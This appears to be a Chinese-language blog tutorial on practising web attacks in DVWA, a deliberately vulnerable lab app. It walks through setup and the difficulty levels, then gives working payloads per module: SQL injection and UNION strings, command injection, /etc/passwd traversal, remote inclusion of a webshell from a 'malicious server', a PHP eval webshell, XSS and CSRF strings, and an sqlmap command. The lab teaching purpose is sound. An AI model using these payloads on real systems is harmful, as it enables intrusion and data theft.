DVWA怎么练习?

wen 网络安全 3

本文目录导读:

DVWA怎么练习?

  1. 第一步:环境搭建(最重要的一步)
  2. 第二步:了解难度分级(核心功能)
  3. 第三步:按模块逐个击破(核心漏洞列表)
  4. 第四步:必备工具与技巧
  5. 第五步:解读源代码(终极学习法)
  6. 一个完整的练习流程

DVWA(Damn Vulnerable Web Application)是一个合法、开源的渗透测试/网络安全教学平台,它专门设计用来让安全学习者在受控的本地环境中练习常见的Web漏洞。

以下是DVWA的系统化练习指南,从环境搭建到具体漏洞利用步骤。

第一步:环境搭建(最重要的一步)

绝对不要在公网或公司内网部署DVWA。 它充满漏洞,极易被入侵,只在本地虚拟机中练习。

推荐方式:使用虚拟机

  1. 方案 A:直接下载虚拟机镜像(最简单)

    • 下载预先配置好的环境,如 OWASP Broken Web Applications VMPentesterLab,这些自带DVWA。
    • 用 VMware/VirtualBox 导入即可。
  2. 方案 B:手动搭建(推荐,更锻炼环境配置能力)

    • 系统: 虚拟机里装一个 Linux(如 Ubuntu Server 或 Kali Linux)。
    • 环境: 安装 LAMP 或 WAMP 环境(Linux + Apache + MySQL + PHP)。
    • 下载DVWA: 从 GitHub 下载最新版:git clone https://github.com/digininja/DVWA.git
    • 配置:
      • 复制 config/config.inc.php.distconfig/config.inc.php
      • 修改数据库密码(默认 root 无密码,建议设置一个)。
    • 启动: 访问 http://你的虚拟机IP/DVWA/setup.php,点击 Create/Reset Database

第二步:了解难度分级(核心功能)

DVWA 的左侧菜单有 Security Level 选项,这是练习的精髓:

  • Low(低): 完全无防护,代码没有任何过滤。适合入门,先理解漏洞原理。
  • Medium(中): 有基本过滤(如 mysqli_real_escape_string 或简单的黑名单)。适合进阶,学习如何绕过简单防护。
  • High(高): 复杂逻辑过滤(如使用 TOKENPrepared Statements 或强正则)。适合高手,学习高级绕过技术。
  • Impossible(不可能): 代码逻辑完全正确,几乎无法攻破。学习目标是: 看代码,理解“如何编写安全代码”。

练习策略: 对于每个漏洞,先做 Low 理解原理,再做 Medium/High 寻找绕过方法。

第三步:按模块逐个击破(核心漏洞列表)

DVWA 左侧菜单列出了所有漏洞,按照以下顺序练习效果较好:

SQL Injection(SQL注入)

  • Low: 在用户输入框直接输入 ' OR 1=1 --' UNION SELECT ...
  • Medium: 学习绕过 mysqli_real_escape_string(例如使用双引号或无引号的数字型注入)。
  • High: 挑战利用 LIMIT 子句或查询结果的多行合并。

Command Injection(命令注入)

  • Low: 输入 0.0.1 && whoami0.0.1 | ls
  • Medium: 尝试绕过字符限制(如 、&、 被过滤后,使用 %0a 换行符或 的变种)。

File Inclusion(文件包含)

  • Low: 修改 ?page=../../../../etc/passwd 读取系统文件,或包含远程文件 ?page=http://恶意服务器/webshell.txt
  • Medium/High: 学习绕过路径限制(如 被过滤时用 或 )。

File Upload(文件上传)

  • Low: 直接上传 PHP 一句话木马 <?php @eval($_POST['cmd']);?>
  • Medium: 绕过 MIME 类型检测(用 Burp Suite 抓包,修改 Content-Type: image/jpeg)。
  • High: 挑战绕过文件头检测(在图片文件中嵌入PHP代码)。

XSS(跨站脚本)- Reflected(反射型) & Stored(存储型)

  • Low: 输入 <script>alert(1)</script>
  • Medium: 在 HTML 标签属性中注入(如 " onclick="alert(1))或使用 <img src=1 onerror=alert(1)> 绕过 <script> 过滤。
  • High: 学习 DOM-Based XSS 或利用浏览器的解析差异。

CSRF(跨站请求伪造)

  • Low: 本地构造一个 HTML 页面,包含一个指向 DVWA 修改密码的请求(<img src="http://DVWA_ip/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change">)。
  • Medium/High: 需要结合 XSS 或抓取有效的 Token。

Brute Force(暴力破解)

  • Low: 用 Burp Suite 或 Hydra 抓包,对登录框进行字典攻击。
  • Medium/High: 应对反暴力破解机制(如 Token 动态变化、CAPTCHA验证码)。

第四步:必备工具与技巧

单纯在浏览器里点来点去效率很低,一定要配合以下工具:

  1. Burp Suite(核心工具):

    • Proxy: 抓包、改包(修改参数、Cookie、Token)。
    • Repeater: 反复发送修改后的请求。
    • Intruder: 暴力破解、模糊测试。
  2. 浏览器开发者工具(F12):

    • Network: 查看请求与响应。
    • Console: 调试 JavaScript(针对 XSS 或 CSRF 的 Token 提取)。
    • Sources: 调试前端代码。
  3. SQLMap(辅助工具):

    • 当你在 Low 等级下能手工注入后,可以用 SQLMap 来自动化:sqlmap -u "http://DVWA_IP/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=你的ID" --batch --dbs

第五步:解读源代码(终极学习法)

DVWA 最棒的功能是右上角的 View Source 按钮。练习完后一定要看!

  1. Low 的源码:理解“为什么这代码不安全”。
  2. Medium 的源码:理解“防御者做了什么,但哪里没做好”。
  3. High 的源码:理解“更聪明的防御逻辑”。
  4. Impossible 的源码:这是真正的学习目标——学会如何用参数化查询、CSRF Token、白名单验证等方法来防御。

一个完整的练习流程

假设你在练习 SQL Injection (Low)

  1. 打开页面,输入 1,看到返回用户 ID。
  2. 思考:可能是 SELECT * FROM users WHERE id='1';
  3. 测试:输入 1',报错,确认有注入点。
  4. 攻击:输入 1' OR '1'='1' --,显示所有用户。
  5. 升级:输入 1' UNION SELECT 1, user(), database() --,获取数据库用户名和库名。
  6. 查看源码:发现代码直接拼接字符串,没有任何过滤。
  7. 切换难度Medium,重复上述步骤,发现 被转义了,尝试用 1 OR 1=1#
  8. 最终:通过绕过所有难度等级,并理解了 Impossible 级别的正确代码写法。

通过上述步骤,坚持练习完所有模块(Low -> Medium -> High),你的Web安全实战能力会有显著提升。

抱歉,评论功能暂时关闭!